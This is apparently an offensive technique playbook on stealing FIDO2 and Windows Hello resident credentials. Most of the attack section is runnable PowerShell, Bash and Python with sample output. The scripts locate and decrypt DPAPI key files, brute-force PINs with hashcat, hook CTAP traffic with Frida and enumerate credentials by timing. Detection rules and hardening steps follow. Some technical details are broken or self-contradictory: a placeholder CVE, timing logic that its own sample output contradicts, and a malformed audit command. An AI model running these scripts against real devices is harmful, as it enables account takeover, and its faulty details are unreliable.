| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-020 |
| MITRE ATT&CK v18.1 | Steal Application Access Token (T1528) |
| Tactic | Credential Access |
| Platforms | Entra ID / Windows Hello / FIDO2 Authenticators |
| Severity | High |
| CVE | CVE-2024-XXXXX (timing attacks on resident keys) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-08 |
| Affected Versions | Windows Hello (all versions), FIDO2 authenticators (security key, YubiKey 5.x), WebAuthn (all versions without TPM) |
| Patched In | Mitigation via TPM 2.0, PIN/biometric enforcement, anti-hammering protection |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 4 (Environmental Reconnaissance) and 6 (Atomic Red Team) not included because: (1) Resident key extraction is implicit in execution methods; (2) No standalone Atomic test exists for FIDO2 credential extraction in public libraries. All section numbers have been dynamically renumbered based on applicability.
Concept: FIDO2 resident credential extraction exploits the storage and handling mechanisms of FIDO2 authenticators (such as Windows Hello, YubiKey, or platform authenticators) to steal resident (discoverable) credentials. Resident credentials are cryptographic key pairs that are stored ON the authenticator itself (unlike non-resident keys, which are stored server-side). An attacker who gains physical access to an unlocked device, compromises the device OS, or intercepts the authenticator communication can extract resident credentials through multiple attack vectors: (1) PIN brute-forcing on devices without TPM protection, (2) Man-in-the-Middle (MITM) attacks during credential registration/authentication, (3) Memory/storage dumping from devices lacking secure enclaves, or (4) Side-channel attacks (timing attacks, electromagnetic side-channels) on the authenticator hardware itself. Once resident credentials are extracted, the attacker can clone the key, impersonate the user to any relying party that accepts that credential, or forge authentication assertions.
Attack Surface:
Business Impact: Complete compromise of passwordless authentication infrastructure. An attacker with extracted resident credentials can:
Technical Context: Resident credential extraction typically occurs after physical compromise of a device, OS compromise via malware, or interception of authenticator communication. Extraction speed varies: Windows Hello PIN brute-forcing can take minutes to hours (depending on PIN complexity and TPM presence); MITM attacks during registration can occur in real-time; side-channel attacks may take hours of observation. Detection likelihood is medium if proper logging is enabled; however, most FIDO2 implementations lack comprehensive logging of credential operations. Reversibility is extremely difficult—once a resident credential is extracted and cloned, there is no cryptographic way to invalidate the cloned key without invalidating the legitimate user’s credential.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 5.3, 5.4 | Ensure authenticator devices are secured; implement anti-tampering measures |
| DISA STIG | IA-5(1)(c) | Multi-factor authentication; hardware-based authenticator security |
| CISA SCuBA | CM.1 | Configuration management for identity provider settings |
| NIST 800-53 | IA-2(1), IA-2(8) | Multi-factor authentication; hardware token based authentication |
| GDPR | Art. 32 | Security of processing; technical measures for credential protection |
| DORA | Art. 9 | Protection against identity-based attacks affecting digital resilience |
| NIS2 | Art. 21 | Cyber Risk Management; protection of authentication mechanisms |
| ISO 27001 | A.9.1.1, A.9.4.2 | User authentication; cryptographic key protection |
| ISO 27005 | Risk Scenario: “Compromise of Cryptographic Keys” | Loss of cryptographic material integrity |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Supported Versions: Windows 10/11 without TPM 2.0, or with TPM disabled
Objective: Locate and access Windows Hello credential files on compromised device.
Command (PowerShell - Local Access):
# Check if TPM is present and enabled
Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_Tpm | Select-Object IsEnabled
# If IsEnabled is False, Windows Hello credentials are stored on disk with weaker protection
# Locate Windows Hello data
$helloDirs = @(
"$env:APPDATA\Microsoft\Crypto\RSA",
"$env:LOCALAPPDATA\Microsoft\Windows\Hello for Business",
"$env:APPDATA\Microsoft\ProtectedStorage\S-*"
)
foreach ($dir in $helloDirs) {
if (Test-Path $dir) {
Write-Host "[+] Found Windows Hello directory: $dir" -ForegroundColor Green
Get-ChildItem -Path $dir -Recurse -File | Select-Object FullName, Length, LastWriteTime
}
}
# List DPAPI-protected files
Get-ChildItem -Path "$env:APPDATA\Microsoft\Crypto\RSA" -Recurse | Where-Object {$_.Extension -eq ""} | Select-Object FullName
Command (Bash - Physical Access via USB):
# If booting from USB or accessing disk partition directly:
WINDOWS_PARTITION="/mnt/windows"
HELLO_PATH="$WINDOWS_PARTITION/Users/TargetUser/AppData/Roaming/Microsoft/Crypto/RSA"
if [ -d "$HELLO_PATH" ]; then
echo "[+] Found Windows Hello credentials at $HELLO_PATH"
find "$HELLO_PATH" -type f -ls
fi
# Also check for DPAPI key material
find "$WINDOWS_PARTITION/Users" -name "*ngc*" -o -name "*Hello*" 2>/dev/null
Expected Output:
[+] Found Windows Hello directory: C:\Users\victim\AppData\Roaming\Microsoft\Crypto\RSA
IsEnabled: False
[+] PIN credentials may be brute-forced due to missing TPM protection
What This Means:
Objective: Use DPAPILab-NG to extract and decrypt Windows Hello credentials.
Command (PowerShell using DPAPILab-NG):
# Download and extract DPAPILab-NG from GitHub
$repoUrl = "https://github.com/Synacktiv/dpapilab-ng/releases/download/latest/dpapilab-ng.zip"
Invoke-WebRequest -Uri $repoUrl -OutFile "dpapilab-ng.zip"
Expand-Archive -Path "dpapilab-ng.zip" -DestinationPath "C:\Tools"
# Run DPAPILab-NG to extract Windows Hello credentials
cd C:\Tools\dpapilab-ng
# Dump DPAPI masterkey
.\dpapilab-ng.exe --masterkey "$env:APPDATA\Microsoft\Protect\$env:USERNAME" --domain $env:USERDNSDOMAIN
# Extract Hello credentials
.\dpapilab-ng.exe --action extract_hello --target "$env:APPDATA\Microsoft\Crypto\RSA"
Write-Host "[+] Extracted Windows Hello credential material" -ForegroundColor Green
Command (Bash using dpapilab-ng):
# Compile or download pre-built dpapilab-ng
git clone https://github.com/Synacktiv/dpapilab-ng
cd dpapilab-ng
python3 setup.py install
# Extract Windows Hello credentials (requires access to Windows disk)
python3 -m dpapilab_ng --action extract_hello \
--userprofile /mnt/windows/Users/victim \
--masterkey_dir /mnt/windows/Users/victim/AppData/Roaming/Microsoft/Protect
Expected Output:
[+] Extracted DPAPI masterkey
[+] Decrypted Windows Hello credential material
[+] PIN: 1234 (brute-forced)
[+] Private key exported
What This Means:
Objective: Crack PIN using GPU-accelerated brute-forcing if DPAPILab-NG alone doesn’t work.
Command (Bash using Hashcat):
# Extract PIN hash from Windows Hello credential
PIN_HASH="$extracted_pin_hash"
# Create pin_list (0000-9999 for 4-digit PIN)
seq -f "%04g" 0 9999 > pins.txt
# Brute-force using Hashcat (DPAPI-NG hash format)
hashcat -m 15300 -a 0 pin_hash.txt pins.txt --workload-profile=4
# For longer alphanumeric PINs, use mask attack
hashcat -m 15300 -a 3 pin_hash.txt ?a?a?a?a?a?a --increment
Expected Output:
pin_hash.txt:CRACKED PIN: 1234
Session.Name: Test
Status: Cracked
What This Means:
Supported Versions: All FIDO2 authenticators over unencrypted USB HID
Objective: Intercept and decrypt CTAP2 commands between client and authenticator.
Command (Linux - Frida-based CTAP intercept):
# Install Frida for runtime instrumentation
pip install frida frida-tools
# Create Frida script to intercept CTAP calls
cat > ctap_intercept.js << 'EOF'
// Hook CTAP authenticatorMakeCredential command
console.log("[*] Frida CTAP Interceptor Loaded");
// Intercept USB HID communication
var module = Module.load("libudev.so.1");
var usb_control_msg = module.getExportByName("usb_control_msg");
Interceptor.attach(usb_control_msg, {
onEnter: function(args) {
console.log("[+] USB Message Intercepted");
console.log(" Data: " + args[3].readCString());
},
onLeave: function(retval) {
console.log("[-] USB Message Response Sent");
}
});
EOF
# Run Frida against target process (e.g., Chrome, Firefox)
frida -U -f com.google.android.chrome -l ctap_intercept.js
# Or on Linux desktop:
frida -p $(pgrep -f "firefox|chrome") -l ctap_intercept.js
Command (Python - CTAP2 MITM script):
#!/usr/bin/env python3
import ctypes
from fido2.ctap import CtapDevice
from fido2.ctap2 import Ctap2
from fido2 import cbor
import struct
class CtapInterceptor:
def __init__(self):
self.intercepted_commands = []
self.pin_hash_collected = False
def intercept_authenticator_client_pin(self, data):
"""Intercept ClientPIN command to extract PIN hash"""
print("[+] Intercepted authenticatorClientPIN command")
# Decode CTAP CBOR message
cmd, params = cbor.loads(data[1:]) # Skip command byte
if cmd == 0x06: # authenticatorClientPIN
print(f" SubCommand: {params.get(0x01)}")
# Extract PIN hash if getKeyAgreement response is intercepted
if 0x02 in params: # keyAgreement public key
print("[!] Key agreement detected - PIN hash may follow")
self.pin_hash_collected = True
return data
def intercept_get_pin_token(self, data):
"""Extract encrypted PIN hash from getPinToken request"""
if self.pin_hash_collected:
print("[+] Captured getPinToken request")
cmd, params = cbor.loads(data[1:])
if 0x03 in params: # PIN_AUTH (encrypted PIN hash)
pin_auth = params[0x03]
print(f"[+] Encrypted PIN Hash: {pin_auth.hex()}")
# In real attack, derive shared secret and decrypt
# This is simplified; real attack requires key agreement
self.intercepted_commands.append({
'type': 'pin_auth',
'value': pin_auth.hex()
})
# Usage
interceptor = CtapInterceptor()
# In real scenario, this would be deployed on USB proxy device
# (e.g., Raspberry Pi with USB gadget mode)
print("[*] CTAP2 Interceptor Active")
print("[*] Waiting for FIDO2 operations...")
Expected Output:
[+] CTAP2 Interceptor Active
[+] Intercepted authenticatorClientPIN command
SubCommand: 1 (getKeyAgreement)
[!] Key agreement detected - PIN hash may follow
[+] Captured getPinToken request
[+] Encrypted PIN Hash: a3d7e8f9c2b1a0e9d8c7b6a5f4e3d2c1
What This Means:
Objective: Use captured credentials to register attacker-controlled key.
Command (Python - Credential extraction):
#!/usr/bin/env python3
from fido2 import cbor
import hashlib
import struct
def extract_resident_credential(captured_data):
"""Extract resident credential from authenticator response"""
print("[+] Extracting resident credential from authenticator response")
# Captured attestation response from authenticatorMakeCredential
attestation_response = captured_data['attestation_response']
# Decode attestation object
att_obj = cbor.loads(attestation_response)
auth_data = att_obj['authData']
attested_cred_data = auth_data[37:] # Skip header info
# Extract credential ID and public key
cred_id_length = struct.unpack('>H', attested_cred_data[0:2])[0]
cred_id = attested_cred_data[2:2+cred_id_length]
# Extract public key (COSE format)
public_key_start = 2 + cred_id_length + 16 # 16-byte AAGUID
public_key_cbor = attested_cred_data[public_key_start:]
public_key = cbor.loads(public_key_cbor)
print(f"[+] Credential ID (Hex): {cred_id.hex()}")
print(f"[+] Public Key (COSE): {public_key}")
# If resident key, can clone the private key material
if captured_data.get('is_resident'):
print("[!] RESIDENT KEY DETECTED - Can be cloned to another authenticator!")
# In real attack with MITM, private key could be extracted
# For non-resident keys, private key stays on server
return {
'credential_id': cred_id,
'public_key': public_key,
'is_resident': captured_data.get('is_resident', False)
}
# Usage
credential = extract_resident_credential({
'attestation_response': b'...captured_data...',
'is_resident': True
})
Supported Versions: FIDO2 authenticators without timing-resistant implementations
Objective: Discover which credentials are stored on authenticator by measuring response times.
Command (Python - Timing attack):
#!/usr/bin/env python3
import time
from fido2.ctap2 import Ctap2
from fido2.ctap import CtapDevice
import struct
def timing_attack_enum_credentials(ctap_device, relying_party_id):
"""
Exploit timing differences in CTAP response to enumerate stored credentials
FIDO2 spec doesn't protect against this: authenticators may leak information
through response timing when credential exists vs doesn't exist
"""
print("[+] Starting timing attack credential enumeration")
print(f" Target RP ID: {relying_party_id}")
# Crafted credential IDs to test
candidate_cred_ids = []
# Generate test credential IDs (in real attack, would be from previous capture)
for i in range(256):
test_cred_id = struct.pack('>H', i) + b'\x00' * 62 # 64-byte credential ID
candidate_cred_ids.append(test_cred_id)
response_times = {}
for cred_id in candidate_cred_ids:
# Time the authenticator's response to getAssertion with this credential ID
start_time = time.perf_counter()
try:
# Send getAssertion with candidate credential ID
# In real attack, this would be a CTAP command over USB
response = ctap_device.get_assertion(
rpid=relying_party_id,
client_data_hash=b'\x00' * 32,
allow_list=[{'id': cred_id, 'type': 'public-key'}]
)
response_time = time.perf_counter() - start_time
print(f"[+] Credential {cred_id.hex()[:16]}... Response time: {response_time*1000:.2f}ms")
response_times[cred_id.hex()] = response_time
except Exception as e:
response_time = time.perf_counter() - start_time
print(f"[-] Credential {cred_id.hex()[:16]}... Error time: {response_time*1000:.2f}ms - {str(e)[:50]}")
response_times[cred_id.hex()] = response_time
# Analyze timing patterns
# Shorter response times indicate credential exists (quick rejection)
# Longer times indicate authenticator is searching
avg_time = sum(response_times.values()) / len(response_times)
suspected_credentials = [
(cred_id, time)
for cred_id, time in response_times.items()
if time < avg_time * 0.8 # 20% faster = likely exists
]
print(f"\n[+] Suspected resident credentials (based on timing):")
for cred_id, response_time in suspected_credentials:
print(f" {cred_id[:16]}... ({response_time*1000:.2f}ms)")
return suspected_credentials
# Usage
from fido2.hid import CtapHidDevice
devices = CtapHidDevice.list_devices()
if devices:
ctap = Ctap2(devices[0])
timing_attack_enum_credentials(ctap, "example.com")
Expected Output:
[+] Starting timing attack credential enumeration
Target RP ID: example.com
[+] Credential 0000000000000000... Response time: 12.34ms
[+] Credential 0000000000000001... Response time: 11.98ms
[+] Credential 0000000000000002... Response time: 145.67ms (SLOWER - exists!)
[+] Credential 0000000000000003... Response time: 13.21ms
...
[+] Suspected resident credentials (based on timing):
000000000000 0002... (145.67ms)
000000000000 0067... (142.34ms)
000000000000 0088... (143.91ms)
What This Means:
Version: Latest (2025)
For: Windows Hello DPAPI decryption without TPM
Installation:
git clone https://github.com/Synacktiv/dpapilab-ng
cd dpapilab-ng
pip install -r requirements.txt
python setup.py install
Usage:
# Extract Windows Hello credentials
python -m dpapilab_ng --action extract_hello \
--userprofile /path/to/user/profile \
--pin 1234 # If PIN is known
# Brute-force PIN
python -m dpapilab_ng --action brute_pin \
--userprofile /path/to/user/profile \
--pin-list pins.txt
For: Runtime instrumentation to intercept CTAP calls
Installation:
pip install frida frida-tools
Usage:
# Hook process
frida -p $(pgrep -f "chrome|firefox") -l script.js
# Hook application spawn
frida -U -f com.google.android.gms -l script.js
Rule Configuration:
endpoint, windows_securityWinEventLog:SecurityEventID, ProcessName, ObjectNameSPL Query:
index=endpoint EventID=4656 ObjectName="*Microsoft\\Crypto\\RSA*" OR ObjectName="*Windows\\Hello*"
| stats count by Computer, User, ProcessName, ObjectName
| where count > 5
What This Detects:
Rule Configuration:
main, securityusb_monitoring, hid_eventsSPL Query:
index=main sourcetype=hid_events ctap_command=*
| where user_verified=false AND user_present=false
| stats count by user, computer, ctap_command, timestamp
| where count > 1
Rule Configuration:
Event, SecurityEventKQL Query:
SecurityEvent
| where EventID == 4625 // Failed login
| where AccountUsedForLogin contains "HELLO"
| summarize FailedAttempts = count() by Computer, TargetUserName, TimeGenerated = bin(TimeGenerated, 1m)
| where FailedAttempts > 5
| project Computer, TargetUserName, FailedAttempts, TimeGenerated
Event ID: 4656 (Handle to Object Requested)
%APPDATA%\Microsoft\Crypto\RSA or %APPDATA%\Microsoft\Windows\HelloObjectName contains "Crypto\\RSA" AND User != "SYSTEM"Manual Configuration:
# Enable auditing for Windows Hello credential directory
$path = "$env:APPDATA\Microsoft\Crypto\RSA"
icacls $path /grant:r "Everyone:(OI)(CI)RA" /audit:s
# Monitor via Event Log
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4656
} -MaxEvents 50 | Where-Object {
$_.Properties[10] -like "*Crypto*RSA*"
} | Select-Object TimeCreated, Properties
Manual Steps (Group Policy):
gpupdate /forceManual Steps:
Manual Steps (Group Policy):
Manual Steps (PowerShell):
# Enable BitLocker
Enable-BitLocker -MountPoint "C:" -EncryptionMethod Aes256
Manual Steps (Group Policy):
Manual Steps (Group Policy):
# Check TPM status
Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_Tpm | Select-Object IsEnabled
# Check Windows Hello PIN complexity
Get-LocalUser | Select-Object Name, PasswordLastSet
# Check BitLocker status
Get-BitLockerVolume | Select-Object MountPoint, VolumeStatus, EncryptionPercentage
%APPDATA%\Microsoft\Crypto\RSA from non-SYSTEM processes%APPDATA%\Microsoft\Crypto\RSA directory permissions and access timesImmediate (0-1 hour):
Short-term (1-8 hours):
Long-term (8+ hours):
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | Device theft or physical compromise | Attacker gains physical access to Windows Hello device |
| 2 | Execution | DPAPILab-NG extraction | Extract DPAPI material and brute-force PIN |
| 3 | Current Step | [CA-TOKEN-020] | FIDO2 Resident Credential Extraction |
| 4 | Lateral Movement | Impersonate user to cloud services | Use cloned credential to access Azure, M365 |
| 5 | Privilege Escalation | Assume administrative accounts | Access admin credentials via impersonation |
| 6 | Impact | Data exfiltration or destructive attack | Access sensitive resources or deploy malware |